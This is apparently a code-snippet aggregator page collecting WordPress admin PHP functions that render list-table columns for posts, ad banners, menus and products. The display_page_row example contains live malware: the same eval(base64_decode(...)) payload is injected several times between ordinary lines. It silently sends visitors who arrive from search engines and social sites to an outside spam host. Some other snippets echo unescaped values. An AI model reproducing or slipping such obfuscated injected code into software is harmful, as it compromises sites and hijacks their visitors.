                    $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post);
                    echo $this->row_actions($actions);
                    get_inline_data($post);
                    echo '</td>';
                    break;
                case 'date':
                    if ('0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name) {
                        $t_time = $h_time = __('Unpublished');
                        $time_diff = 0;
                    } else {
                        $t_time = get_the_time(__('Y/m/d g:i:s A'));
                        $m_time = $post->post_date;
                        $time = get_post_time('G', true, $post);
                        $time_diff = time() - $time;
                        if ($time_diff > 0 && $time_diff < 24 * 60 * 60) {
                            $h_time = sprintf(__('%s ago'), human_time_diff($time));
                        } else {
                            $h_time = mysql2date(__('Y/m/d'), $m_time);
                        }
                    }
                    echo '<td ' . $attributes . '>';
                    if ('excerpt' == $mode) {
                        echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode);
                    } else {
                        echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
                    }
                    echo '<br />';
                    if ('publish' == $post->post_status) {
                        _e('Published');
                    } elseif ('future' == $post->post_status) {
                        if ($time_diff > 0) {
                            echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                        } else {
                            _e('Scheduled');
                        }
开发者ID:vivekkodira1,项目名称:wordpress,代码行数:67,代码来源:class-wp-posts-list-table.php

示例9: wp_pro_ad_banners_show_columns

 public function wp_pro_ad_banners_show_columns($name)
 {
     global $post, $pro_ads_banners, $pro_ads_adzones, $pro_ads_campaigns;
     switch ($name) {
         case 'b_banner':
             $banner_type = get_post_meta($post->ID, '_banner_type', true);
             $banner_url = get_post_meta($post->ID, '_banner_url', true);
             $banner_is_image = $pro_ads_banners->check_if_banner_is_image($banner_type);
             $html = '';
             if ($banner_is_image) {
                 $img = !empty($banner_url) ? $banner_url : WP_ADS_URL . 'images/placeholder.png';
                 $html .= '<div class="preview_banner" style="background: url(' . $img . ') no-repeat center center; width:40px; height:40px; background-size: cover;"></div>';
             } elseif ($banner_type == 'swf') {
                 $html .= "<object>";
                 $html .= "<embed allowscriptaccess='always' id='banner-swf' width='40' height='40' src='" . $banner_url . "'>";
                 $html .= "</object>";
             } else {
                 $html .= '<img src="' . WP_ADS_URL . 'images/placeholder.png" width="40" />';
             }
             echo $html;
             break;
         case 'b_name':
             $edit_link = get_edit_post_link($post->ID);
             $title = _draft_or_post_title();
             $post_type_object = get_post_type_object($post->post_type);
             $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
             echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>';
             _post_states($post);
             echo '</strong>';
             if ($post->post_parent > 0) {
                 echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
             }
             // Excerpt view
             if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
                 echo apply_filters('the_excerpt', $post->post_excerpt);
             }
             // Get actions
             $actions = array();
             $actions['id'] = 'ID: ' . $post->ID;
             if ($can_edit_post && 'trash' != $post->post_status) {
                 $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item', 'wpproads')) . '">' . __('Edit', 'wpproads') . '</a>';
                 $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', 'wpproads')) . '">' . __('Quick&nbsp;Edit', 'wpproads') . '</a>';
             }
             if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                 if ('trash' == $post->post_status) {
                     $actions['untrash'] = '<a title="' . esc_attr(__('Restore this item from the Trash', 'wpproads')) . '" href="' . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . '">' . __('Restore', 'wpproads') . '</a>';
                 } elseif (EMPTY_TRASH_DAYS) {
                     $actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this item to the Trash', 'wpproads')) . '" href="' . get_delete_post_link($post->ID) . '">' . __('Trash', 'wpproads') . '</a>';
                 }
                 if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                     $actions['delete'] = '<a class="submitdelete" title="' . esc_attr(__('Delete this item permanently', 'wpproads')) . '" href="' . get_delete_post_link($post->ID, '', true) . '">' . __('Delete Permanently', 'wpproads') . '</a>';
                 }
             }
             if ($post_type_object->public) {
                 if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                     if ($can_edit_post) {
                         $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;', 'wpproads'), $title)) . '" rel="permalink">' . __('Preview', 'wpproads') . '</a>';
                     }
                 } elseif ('trash' != $post->post_status) {
                     $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;', 'wpproads'), $title)) . '" rel="permalink">' . __('View', 'wpproads') . '</a>';
                 }
             }
             $actions = apply_filters('post_row_actions', $actions, $post);
             echo '<div class="row-actions">';
             $i = 0;
             $action_count = sizeof($actions);
             foreach ($actions as $action => $link) {
                 ++$i;
                 $i == $action_count ? $sep = '' : ($sep = ' | ');
                 echo '<span class="' . $action . '">' . $link . $sep . '</span>';
             }
             echo '</div>';
             get_inline_data($post);
             break;
         case 'b_advertiser':
             $advertiser_id = get_post_meta($post->ID, '_banner_advertiser_id', true);
             echo !empty($advertiser_id) ? '<a href="post.php?post=' . $advertiser_id . '&action=edit">' . get_the_title($advertiser_id) . '</a>' : '<span class="na">&ndash;</span>';
             break;
         case 'b_campaign':
             $campaign_id = get_post_meta($post->ID, '_banner_campaign_id', true);
             $campaign_status = get_post_meta($campaign_id, '_campaign_status', true);
             $campaign_status = $pro_ads_campaigns->get_status($campaign_status);
             echo !empty($campaign_id) ? '<a href="post.php?post=' . $campaign_id . '&action=edit">' . get_the_title($campaign_id) . '</a><br><small style="color:#999;">' . __('Campaign status:', 'wpproads') . '</small> <small class="' . $campaign_status['name_clean'] . '"><em>[' . $campaign_status['name'] . ']</em></small>' : '<span class="na">&ndash;</span>';
             break;
         case 'b_status':
             $banner_status = get_post_meta($post->ID, '_banner_status', true);
             $status = $pro_ads_banners->get_status($banner_status);
             echo '<span class="' . $status['name_clean'] . '">' . $status['name'] . '</span>';
             break;
         case 'b_stats':
             echo '<a class="stats" href="admin.php?page=wp-pro-ads-stats&group=banner&group_id=' . $post->ID . '"><img src="' . WP_ADS_URL . '/images/stats.png" alt="' . __('Statistics', 'wpproads') . '" /></a>';
             break;
         case 'b_adzone':
             $banner_size = get_post_meta($post->ID, '_banner_size', true);
             $recommended_adzones = $pro_ads_adzones->get_adzones(array('meta_query' => array('relation' => 'OR', array('key' => '_adzone_size', 'value' => $banner_size, 'compare' => '='), array('key' => '_adzone_size', 'value' => '', 'compare' => '='))));
             // Get linked adzones for this banner
             $linked_adzones = get_post_meta($post->ID, '_linked_adzones', true);
             $html = '';
             $html .= '<div style="position:relative;">';
             $html .= '<div class="loading_adzone loading_adzone_' . $post->ID . '" style="position:absolute; margin:7px; z-index:1; display:none;">' . __('Loading...', 'wpproads') . '</div>';
//.........这里部分代码省略.........
开发者ID:bunnywong,项目名称:freshlinker,代码行数:101,代码来源:Pro_Ads_CPTs.php

示例10: render_food_menu_columns

 /**
  * Output custom columns for menu.
  * @param string $column
  */
 public function render_food_menu_columns($column)
 {
     global $post, $the_food_menu;
     switch ($column) {
         case 'thumb':
             echo '<a href="' . get_edit_post_link($post->ID) . '">' . $this->get_image('thumbnail') . '</a>';
             break;
         case 'name':
             $edit_link = get_edit_post_link($post->ID);
             $title = _draft_or_post_title();
             echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . esc_html($title) . '</a>';
             _post_states($post);
             echo '</strong>';
             if ($post->post_parent > 0) {
                 echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
             }
             // Excerpt view
             if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
                 echo apply_filters('the_excerpt', $post->post_excerpt);
             }
             $this->_render_food_menu_row_actions($post, $title);
             get_inline_data($post);
             break;
         case 'price':
             $the_price = get_post_meta($post->ID, 'food_item_price', true);
             echo $the_price ? '<span class="amount">' . $the_price . '</span>' : '<span class="na">&ndash;</span>';
             break;
         case 'food_menu_cat':
             if (!($terms = get_the_terms($post->ID, $column))) {
                 echo '<span class="na">&ndash;</span>';
             } else {
                 $termlist = array();
                 foreach ($terms as $term) {
                     $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=food_menu') . ' ">' . $term->name . '</a>';
                 }
                 echo implode(', ', $termlist);
             }
             break;
         default:
             break;
     }
 }
开发者ID:themegrill,项目名称:restaurantpress,代码行数:46,代码来源:class-rp-admin-post-types.php

示例11: display_page_row


//.........这里部分代码省略.........
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                $actions = array();
                if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') {
                    $actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this page')) . '">' . __('Edit') . '</a>';
                    $actions['inline'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
                }
                if (current_user_can('delete_page', $page->ID)) {
                    if ($post->post_status == 'trash') {
                        $actions['untrash'] = "<a title='" . esc_attr(__('Remove this page from the Trash')) . "' href='" . wp_nonce_url("page.php?action=untrash&amp;post={$page->ID}", 'untrash-page_' . $page->ID) . "'>" . __('Restore') . "</a>";
                    } elseif (EMPTY_TRASH_DAYS) {
                        $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this page to the Trash')) . "' href='" . get_delete_post_link($page->ID) . "'>" . __('Trash') . "</a>";
                    }
                    if ($post->post_status == 'trash' || !EMPTY_TRASH_DAYS) {
                        $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this page permanently')) . "' href='" . wp_nonce_url("page.php?action=delete&amp;post={$page->ID}", 'delete-page_' . $page->ID) . "'>" . __('Delete Permanently') . "</a>";
                    }
                }
                if (in_array($post->post_status, array('pending', 'draft'))) {
                    if (current_user_can('edit_page', $page->ID)) {
                        $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                    }
                } elseif ($post->post_status != 'trash') {
                    $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                }
                $actions = apply_filters('page_row_actions', $actions, $page);
                $action_count = count($actions);
                $i = 0;
                echo '<div class="row-actions">';
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo "<span class='{$action}'>{$link}{$sep}</span>";
                }
                echo '</div>';
                get_inline_data($post);
                echo '</td>';
                break;
            case 'comments':
                ?>
		<td <?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                echo $attributes;
                ?>
><div class="post-com-count-wrapper">
		<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                $left = get_pending_comments_num($page->ID);
                $pending_phrase = sprintf(__('%s pending'), number_format($left));
                if ($left) {
                    echo '<strong>';
                }
                comments_number("<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>');
                if ($left) {
                    echo '</strong>';
                }
                ?>
		</div></td>
		<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                break;
            case 'author':
                ?>
		<td <?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                echo $attributes;
                ?>
><a href="edit-pages.php?author=<?php 
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:67,代码来源:template.php

示例12: render_bestbuy_bestsell_product_columns

    /**
     * Ouput custom columns for products
     * @param  string $column
     */
    function render_bestbuy_bestsell_product_columns($column)
    {
        global $post;
        $post_meta = get_post_meta($post->ID);
        //current_market_price
        //print_r( $post_meta ); exit;
        switch ($column) {
            case 'thumb':
                echo '<a href="' . get_edit_post_link($post->ID) . '">' . get_image('thumbnail', $post->ID, '') . '</a>';
                break;
            case 'name':
                $edit_link = get_edit_post_link($post->ID);
                $title = _draft_or_post_title();
                $post_type_object = get_post_type_object($post->post_type);
                $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
                echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>';
                _post_states($post);
                echo '</strong>';
                if ($post->post_parent > 0) {
                    echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
                }
                // Excerpt view
                if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
                    echo apply_filters('the_excerpt', $post->post_excerpt);
                }
                // Get actions
                $actions = array();
                $actions['id'] = 'ID: ' . $post->ID;
                if ($can_edit_post && 'trash' != $post->post_status) {
                    $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item', TEXTDOMAIN)) . '">' . __('Edit', TEXTDOMAIN) . '</a>';
                    $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', TEXTDOMAIN)) . '">' . __('Quick&nbsp;Edit', TEXTDOMAIN) . '</a>';
                }
                if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                    if ('trash' == $post->post_status) {
                        $actions['untrash'] = '<a title="' . esc_attr(__('Restore this item from the Trash', TEXTDOMAIN)) . '" href="' . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . '">' . __('Restore', TEXTDOMAIN) . '</a>';
                    } elseif (EMPTY_TRASH_DAYS) {
                        $actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this item to the Trash', TEXTDOMAIN)) . '" href="' . get_delete_post_link($post->ID) . '">' . __('Trash', TEXTDOMAIN) . '</a>';
                    }
                    if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                        $actions['delete'] = '<a class="submitdelete" title="' . esc_attr(__('Delete this item permanently', TEXTDOMAIN)) . '" href="' . get_delete_post_link($post->ID, '', true) . '">' . __('Delete Permanently', TEXTDOMAIN) . '</a>';
                    }
                }
                if ($post_type_object->public) {
                    if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                        if ($can_edit_post) {
                            $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;', TEXTDOMAIN), $title)) . '" rel="permalink">' . __('Preview', TEXTDOMAIN) . '</a>';
                        }
                    } elseif ('trash' != $post->post_status) {
                        $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;', TEXTDOMAIN), $title)) . '" rel="permalink">' . __('View', TEXTDOMAIN) . '</a>';
                    }
                }
                $actions = apply_filters('post_row_actions', $actions, $post);
                echo '<div class="row-actions">';
                $i = 0;
                $action_count = sizeof($actions);
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo '<span class="' . $action . '">' . $link . $sep . '</span>';
                }
                echo '</div>';
                get_inline_data($post);
                /* Custom inline data for bestbuy_bestsell */
                echo '<div class="hidden" id="bestbuy_bestsell_inline_' . $post->ID . '">
						<div class="menu_order">' . $post->menu_order . '</div>
						<div class="bestbuy_bestsell_price">' . $post_meta['current_market_price'][0] . '</div>
						</div>';
                break;
            case 'cmp':
                echo get_bestbuy_bestsell_product_price_html($post_meta) ? get_bestbuy_bestsell_product_price_html($post_meta) : '<span class="na">&ndash;</span>';
                break;
            case 'bestbuy_bestsell_product_category':
            case 'bestbuy_bestsell_product_tag':
                if (!($terms = get_the_terms($post->ID, $column))) {
                    echo '<span class="na">&ndash;</span>';
                } else {
                    foreach ($terms as $term) {
                        $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=inmid_product') . ' ">' . $term->name . '</a>';
                    }
                    echo implode(', ', $termlist);
                }
                break;
            default:
                break;
        }
    }
开发者ID:taherbth,项目名称:bestbuy-bestsell,代码行数:90,代码来源:functions.php

示例13: xtecweekblog_custom_columns

/**
 * Output HTML for the column of a specific xtecweekblog.
 * 
 * @param string $column Column name.
 * @param string $post_id Post ID.
 */
function xtecweekblog_custom_columns($column, $post_id)
{
    global $post;
    switch ($column) {
        case "_xtecweekblog-name":
            $custom = get_post_custom($post_id);
            echo '<strong>';
            echo '<span class="row-title" style="color:#21759B">' . $custom["_xtecweekblog-name"][0] . '</span>';
            _post_states($post);
            echo '</strong>';
            if (xtecweekblog_validate_name($post_id)) {
                // valid weekblog, print name and URL
                echo "<p><a href='" . network_site_url() . $custom["_xtecweekblog-name"][0] . "'>" . network_site_url() . $custom["_xtecweekblog-name"][0] . "</a></p>";
            } else {
                // invalid weekblog, print invalid name and notify
                echo '<p style="color:#FF0000">' . __('Invalid name', 'xtecweekblog') . '</p>';
            }
            // print row actions | extracted from WordPress 3.1.2 core
            $post_type_object = get_post_type_object($post->post_type);
            $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post_id);
            $actions = array();
            if ($can_edit_post && 'trash' != $post->post_status) {
                $actions['edit'] = '<a href="' . get_edit_post_link($post_id, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
            }
            if (current_user_can($post_type_object->cap->delete_post, $post_id)) {
                if ('trash' == $post->post_status) {
